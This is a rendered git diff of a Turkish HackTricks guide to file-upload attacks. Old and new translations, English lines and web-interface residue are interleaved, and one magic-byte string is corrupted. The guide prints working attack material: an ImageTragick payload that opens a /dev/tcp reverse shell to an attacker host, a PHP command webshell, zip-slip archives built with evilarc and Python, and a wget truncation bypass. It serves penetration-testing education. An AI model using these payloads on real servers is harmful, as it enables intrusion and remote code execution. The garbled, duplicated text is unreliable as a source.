Bazı durumlarda bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve sizin **URL** **belirtebildiğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının bir whitelist içinde olup olmadığını kontrol ediyor olabilir; böylece sadece izin verilen dosyaların indirileceği garanti edilir. Ancak, **bu kontrol atlatılabilir.**\
 | 
			
		||||
 | 
			
		||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
 | 
			
		||||
 | 
			
		||||
linux'ta bir **dosya adı**nın maksimum uzunluğu **255** karakterdir; ancak **`wget`** dosya adlarını **236** karaktere kadar kısaltır. `wget` ile **"A"\*232+".php"+".gif"** adında bir dosya indirebilirsiniz; bu dosya adı **kontrolü atlatır** (bu örnekte **".gif"** **geçerli** bir uzantıdır) fakat `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
 | 
			
		||||
```bash
 | 
			
		||||
#Create file and HTTP server
 | 
			
		||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
 | 
			
		||||
@ -156,15 +195,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 | 
			
		||||
 | 
			
		||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 | 
			
		||||
```
 | 
			
		||||
Note that **başka bir seçenek** olarak aklınıza gelebilecek bu kontrolü atlatma yöntemi, **HTTP server**ın farklı bir dosyaya yönlendirme yapmasını sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır fakat wget yönlendirilmiş dosyayı yeni isimle indirir. Bu **çalışmaz** **eğer** wget **--trust-server-names** parametresi ile kullanılmıyorsa çünkü **wget, yönlendirilen sayfayı orijinal URL’de belirtilen dosya adıyla indirecektir**.
 | 
			
		||||
Dikkat: bu kontrolü atlatmak için aklınıza gelebilecek **başka bir seçenek**, **HTTP server'ın farklı bir dosyaya redirect etmesini** sağlamaktır; böylece başlangıçtaki URL kontrolü atlatır, ancak wget yönlendirilen dosyayı yeni adıyla indirir. Bu **çalışmaz** **temin ki** wget `--trust-server-names` **parametresiyle kullanılmıyorsa**, çünkü **wget yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirir**.
 | 
			
		||||
 | 
			
		||||
## Tools
 | 
			
		||||
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) Pentesters ve Bug Hunters’ın file upload mekanizmalarını test etmelerine yardımcı olmak için tasarlanmış güçlü bir araçtır. Bug bounty tekniklerini kullanarak web uygulamalarındaki zafiyetleri tespit etmeyi ve sömürmeyi kolaylaştırır, kapsamlı değerlendirmeler sağlar.
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
 | 
			
		||||
 | 
			
		||||
### Corrupting upload indices with snprintf quirks (historical)
 | 
			
		||||
 | 
			
		||||
Tek dosya upload’ından çoklu dosya dizileri oluşturmak için `snprintf()` veya benzeri fonksiyonları kullanan bazı eski upload handler’lar, `_FILES` yapısını sahteleyerek kandırılabilir. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden çok indekslenmiş dosya gibi görünebilir; bu da katı bir yapı varsayan mantığı (ör. çoklu dosya upload’u olarak ele alıp güvensiz dallara girmek) şaşırtabilir. Günümüzde nadir olmakla birlikte bu “index corruption” kalıbı zaman zaman CTF’lerde ve daha eski kod tabanlarında tekrar ortaya çıkar.
 | 
			
		||||
Bazı eski upload handler'ları, tek dosyalık bir upload'tan multi-file array'ler oluşturmak için `snprintf()` veya benzerlerini kullandığında, `_FILES` yapısını sahte olarak oluşturacak şekilde kandırılabilirler. `snprintf()` davranışındaki tutarsızlıklar ve truncation nedeniyle, dikkatle hazırlanmış tek bir upload, sunucu tarafında birden fazla indekslenmiş dosya gibi görünebilir ve katı bir şekil varsayan mantığı (ör. bunu çoklu dosya upload'u olarak ele alıp güvensiz dallara gitmek) şaşırtabilir. Günümüzde nadir olsa da, bu “index corruption” paterni zaman zaman CTF'lerde ve eski kod tabanlarında tekrar ortaya çıkar.
 | 
			
		||||
 | 
			
		||||
## From File upload to other vulnerabilities
 | 
			
		||||
 | 
			
		||||
@ -178,13 +217,13 @@ Tek dosya upload’ından çoklu dosya dizileri oluşturmak için `snprintf()` v
 | 
			
		||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
 | 
			
		||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 | 
			
		||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 | 
			
		||||
- Eğer web sunucusuna bir URL’den image almasını **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) suistimal etmeyi deneyebilirsiniz. Eğer bu **image** bir **public** site’de **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirleyip **her ziyaretçinin bilgisini çalabilirsiniz**.
 | 
			
		||||
- Eğer web server'a bir URL'den image çekmesini **belirtebiliyorsanız**, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Bu **image** bazı **public** bir sitede **kaydedilecekse**, ayrıca [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL gösterip **her ziyaretçinin bilgilerini çalabilirsiniz**.
 | 
			
		||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
 | 
			
		||||
- XSS için özel hazırlanmış PDF’ler: [aşağıdaki sayfa nasıl **PDF verisi enjekte edilip JS yürütüleceğini** gösteriyor](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen yönergelere göre rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
 | 
			
		||||
- Sunucuda herhangi bir **antivirus** olup olmadığını kontrol etmek için \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyin
 | 
			
		||||
- XSS amaçlı özel hazırlanmış PDF'ler: Aşağıdaki sayfa **PDF verisi enjekte ederek JS çalıştırma elde etme** yöntemini gösterir. Eğer PDF yükleyebiliyorsanız, verilen yönergelere uyan rastgele JS çalıştıracak bir PDF hazırlayabilirsiniz.
 | 
			
		||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
 | 
			
		||||
- Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
 | 
			
		||||
 | 
			
		||||
İşte upload ile başarabileceğiniz şeylerden bir top 10 listesi (kaynak: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
İşte yükleyerek başarabileceğiniz şeylerin top 10 listesi (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 | 
			
		||||
 | 
			
		||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 | 
			
		||||
2. **SVG**: Stored XSS / SSRF / XXE
 | 
			
		||||
@ -206,37 +245,37 @@ https://github.com/portswigger/upload-scanner
 | 
			
		||||
 | 
			
		||||
## Magic Header Bytes
 | 
			
		||||
 | 
			
		||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 | 
			
		||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 | 
			
		||||
- **JPG**: `"\xff\xd8\xff"`
 | 
			
		||||
 | 
			
		||||
Diğer dosya tipleri için [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) adresine bakın.
 | 
			
		||||
Diğer dosya tipleri için şu sayfaya bakın: [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)
 | 
			
		||||
 | 
			
		||||
## Zip/Tar File Automatically decompressed Upload
 | 
			
		||||
 | 
			
		||||
Eğer sunucuda açılacak şekilde bir ZIP upload edebiliyorsanız, iki şey yapabilirsiniz:
 | 
			
		||||
Eğer sunucu içinde açılacak bir ZIP yükleyebiliyorsanız, iki şey yapabilirsiniz:
 | 
			
		||||
 | 
			
		||||
### Symlink
 | 
			
		||||
 | 
			
		||||
Diğer dosyalara soft link içeren bir link yükleyin; ardından açılan dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz:
 | 
			
		||||
Diğer dosyalara soft link içeren bir link yükleyin; daha sonra, açılmış dosyalara eriştiğinizde linklenmiş dosyalara erişmiş olursunuz:
 | 
			
		||||
```
 | 
			
		||||
ln -s ../../../index.php symindex.txt
 | 
			
		||||
zip --symlinks test.zip symindex.txt
 | 
			
		||||
tar -cvf test.tar symindex.txt
 | 
			
		||||
```
 | 
			
		||||
### Farklı klasörlere açma
 | 
			
		||||
### Farklı klasörlere dekompresyon
 | 
			
		||||
 | 
			
		||||
Sıkıştırmayı açma sırasında dosyaların dizinlerde beklenmedik şekilde oluşturulması ciddi bir sorundur. Bu yapılandırmanın malicious file uploads yoluyla OS-level command execution'a karşı koruma sağlayacağı ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri kötüye kullanılabilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın decompression işlevini manipüle ederek güvenli upload dizinlerinden kaçmasına olanak tanır.
 | 
			
		||||
Dekompresyon sırasında dizinlerde beklenmedik dosyaların oluşturulması ciddi bir sorundur. Bu düzenlemenin kötü amaçlı dosya yüklemeleri yoluyla OS-level command execution'a karşı koruma sağlayabileceği ilk varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve directory traversal yetenekleri sömürülebilir. Bu, hedef uygulamanın dekompresyon işlevini manipüle ederek saldırganların kısıtlamaları atlatmasına ve güvenli upload dizinlerinden kaçmasına olanak tanır.
 | 
			
		||||
 | 
			
		||||
Böyle dosyaları oluşturmak için otomatik bir exploit [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç şu şekilde kullanılabilir:
 | 
			
		||||
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
 | 
			
		||||
```python
 | 
			
		||||
# Listing available options
 | 
			
		||||
python2 evilarc.py -h
 | 
			
		||||
# Creating a malicious archive
 | 
			
		||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 | 
			
		||||
```
 | 
			
		||||
Ek olarak, **symlink trick with evilarc** bir seçenektir. Eğer amaç `/flag.txt` gibi bir dosyayı hedeflemekse, sisteminizde o dosyaya işaret eden bir symlink oluşturmalısınız. Bu, evilarc'ın çalışma sırasında hatalarla karşılaşmamasını sağlar.
 | 
			
		||||
Ek olarak, **symlink trick with evilarc** bir seçenektir. Hedef `/flag.txt` gibi bir dosya ise, sisteminizde o dosyaya bir symlink oluşturulmalıdır. Bu, evilarc'ın çalışması sırasında hata ile karşılaşmamasını sağlar.
 | 
			
		||||
 | 
			
		||||
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python örnek kodu bulunmaktadır:
 | 
			
		||||
Aşağıda kötü amaçlı bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/python
 | 
			
		||||
import zipfile
 | 
			
		||||
@ -254,11 +293,11 @@ zip.close()
 | 
			
		||||
 | 
			
		||||
create_zip()
 | 
			
		||||
```
 | 
			
		||||
**File spraying için sıkıştırmanın kötüye kullanımı**
 | 
			
		||||
**Sıkıştırmayı file spraying için kötüye kullanma**
 | 
			
		||||
 | 
			
		||||
Daha fazla ayrıntı için **orijinal gönderiyi inceleyin**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 | 
			
		||||
Daha fazla ayrıntı için **orijinal gönderiye bakın**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 | 
			
		||||
 | 
			
		||||
1.  **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle geçirilen komutları çalıştıracak şekilde yazılır.
 | 
			
		||||
1.  **PHP Shell Oluşturma**: PHP kodu, `$_REQUEST` değişkeniyle gelen komutları çalıştırmak için yazılır.
 | 
			
		||||
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
@ -268,14 +307,14 @@ system($cmd);
 | 
			
		||||
}?>
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
2.  **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
 | 
			
		||||
2.  **File Spraying ve Sıkıştırılmış Dosya Oluşturma**: Birden çok dosya oluşturulur ve bu dosyaları içeren bir zip arşivi hazırlanır.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 | 
			
		||||
root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3.  **Hex Editor veya vi ile Değişiklik**: Zip içindeki dosya adları vi veya bir hex editor ile değiştirilir; "xxA" dizinler arası geçiş yapmak için "../" ile değiştirilir.
 | 
			
		||||
3.  **Hex Editor veya vi ile Değiştirme**: Zip içindeki dosya isimleri vi veya bir hex editor kullanılarak değiştirilir; dizinleri gezmek için "xxA" -> "../" olarak değiştirilir.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
:set modifiable
 | 
			
		||||
@ -285,40 +324,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
 | 
			
		||||
## ImageTragic
 | 
			
		||||
 | 
			
		||||
Bu içeriği bir image uzantısıyla yükleyerek zafiyeti istismar edin **(ImageMagick , 7.0.1-1)** (exploit için: [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
Bu içeriği bir görüntü uzantısıyla yükleyin; açığı istismar etmek için **(ImageMagick , 7.0.1-1)** (detaylar: [exploit](https://www.exploit-db.com/exploits/39767))
 | 
			
		||||
```
 | 
			
		||||
push graphic-context
 | 
			
		||||
viewbox 0 0 640 480
 | 
			
		||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 | 
			
		||||
pop graphic-context
 | 
			
		||||
```
 | 
			
		||||
## PNG içinde PHP Shell Gömme
 | 
			
		||||
## Embedding PHP Shell on PNG
 | 
			
		||||
 | 
			
		||||
Bir PNG dosyasının IDAT chunk'ına PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları bu bağlamda özellikle önemlidir; bunlar sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilmesi, bazı kullanım durumları için önemli bir avantaj sağlar.
 | 
			
		||||
Bir PNG dosyasının IDAT chunk'ına bir PHP shell gömmek, belirli görüntü işleme operasyonlarını etkili bir şekilde atlatabilir. PHP-GD'den imagecopyresized ve imagecopyresampled fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için yaygın olarak kullanıldığından bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği belirli kullanım senaryoları için önemli bir avantaj sağlar.
 | 
			
		||||
 | 
			
		||||
Bu tekniğin metodolojisi ve olası uygulamalarını içeren ayrıntılı bir inceleme şu makalede bulunuyor: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sunar.
 | 
			
		||||
Bu tekniğin metodolojisi ve olası uygulamaları dahil olmak üzere ayrıntılı bir inceleme aşağıdaki makalede sunulmuştur: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak süreç ve etkileri hakkında kapsamlı bir anlayış sağlar.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 | 
			
		||||
 | 
			
		||||
## Polyglot Dosyalar
 | 
			
		||||
## Poliglot Dosyalar
 | 
			
		||||
 | 
			
		||||
Polyglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde bulunabilen kamuflajcılar gibi davranırlar. İlginç bir örnek [GIFAR](https://en.wikipedia.org/wiki/Gifar) — hem GIF hem de RAR arşivi olarak işlev gören hibrit bir dosyadır. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
 | 
			
		||||
Poliglot dosyalar siber güvenlikte benzersiz bir araç olarak hizmet eder; aynı anda birden fazla dosya formatında geçerli şekilde var olabilen bukalemunlar gibidirler. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev gören bir [GIFAR](https://en.wikipedia.org/wiki/Gifar) hibritidir. Bu tür dosyalar bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
 | 
			
		||||
 | 
			
		||||
Polyglot dosyaların temel faydası, dosyaları tür bazında tarayan güvenlik önlemlerini aşma kapasitelerindedir. Çeşitli uygulamalarda yaygın uygulama, potansiyel olarak zararlı formatların (ör. JS, PHP veya Phar dosyaları) riskini azaltmak için yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerine izin vermektir. Ancak bir polyglot, birden fazla dosya türünün yapısal kriterlerine uyduğunda, bu kısıtlamaları sessizce atlatabilir.
 | 
			
		||||
Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini aşabilme kapasiteleridir. Birçok uygulamada yalnızca JPEG, GIF veya DOC gibi belirli dosya türlerinin yüklenmesine izin verilmesi yaygın bir uygulamadır; bu, JS, PHP veya Phar gibi potansiyel olarak zararlı formatların riskini azaltmak içindir. Ancak bir poliglot, birden fazla dosya türünün yapısal kriterlerine uyduğundan, bu kısıtlamaları gizlice atlatabilir.
 | 
			
		||||
 | 
			
		||||
Uyarlanabilirliklerine rağmen, polyglot'lar sınırlamalarla karşılaşabilir. Örneğin, bir polyglot aynı anda bir PHAR dosyası (PHp ARchive) ve bir JPEG olabilir; ancak yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılar konusunda katıysa, bir polyglot'un yalnızca yapısal ikiliği yüklemenin garantisi olmayabilir.
 | 
			
		||||
Uyarlanabilirliklerine rağmen poliglotların sınırlamaları vardır. Örneğin, bir poliglot aynı anda bir PHAR file (PHp ARchive) ve bir JPEG olabilse de, yükleme başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem izin verilen uzantılarda katıysa, bir poliglotun yalnızca yapısal ikiliği yüklenmesini garanti etmeyebilir.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 | 
			
		||||
 | 
			
		||||
### PDF gibi davranan geçerli JSON'lar yükleme
 | 
			
		||||
### Upload valid JSONs like if it was PDF
 | 
			
		||||
 | 
			
		||||
Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılacağı (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 | 
			
		||||
Bir PDF dosyası gibi sahte göstererek, izin verilmese bile geçerli bir JSON dosyası yükleyerek dosya türü tespitlerinden nasıl kaçınılır (teknikler **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** kaynağından):
 | 
			
		||||
 | 
			
		||||
- **`mmmagic` library**: İlk 1024 byte içinde `%PDF` magic byte'ları olduğu sürece geçerli sayılır (örnek için yazıya bakın)
 | 
			
		||||
- **`pdflib` library**: JSON'un bir alanı içine sahte bir PDF formatı ekleyin ki kütüphane bunun bir pdf olduğunu sansın (örnek için yazıya bakın)
 | 
			
		||||
- **`file` binary**: Bir dosyadan maksimum 1048576 byte okuyabilir. Basitçe JSON'u bu boyuttan daha büyük yapın ki içeriği bir json olarak parse edemesin; sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun ve bunun PDF olduğunu düşünecektir
 | 
			
		||||
- **`mmmagic` library**: `%PDF` magic bytes ilk 1024 bayt içinde olduğu sürece geçerli sayılır (örnek için yazıya bakın)
 | 
			
		||||
- **`pdflib` library**: Kütüphanenin bunun bir pdf olduğunu düşünmesi için JSON'un içindeki bir alana sahte bir PDF formatı ekleyin (örnek için yazıya bakın)
 | 
			
		||||
- **`file` binary**: Bir dosyadan 1048576 bayta kadar okuyabilir. İçeriği bir json olarak parse edemeyeceği şekilde bundan daha büyük bir JSON oluşturun ve sonra JSON'un içine gerçek bir PDF'in başlangıç kısmını koyun; böylece bunun bir PDF olduğunu düşünecektir
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 | 
			
		||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
 | 
			
		||||
@ -328,5 +367,8 @@ Bir PDF dosyası taklidi yaparak, izin verilmiyor olsa bile geçerli bir JSON do
 | 
			
		||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 | 
			
		||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
 | 
			
		||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 | 
			
		||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
 | 
			
		||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
 | 
			
		||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user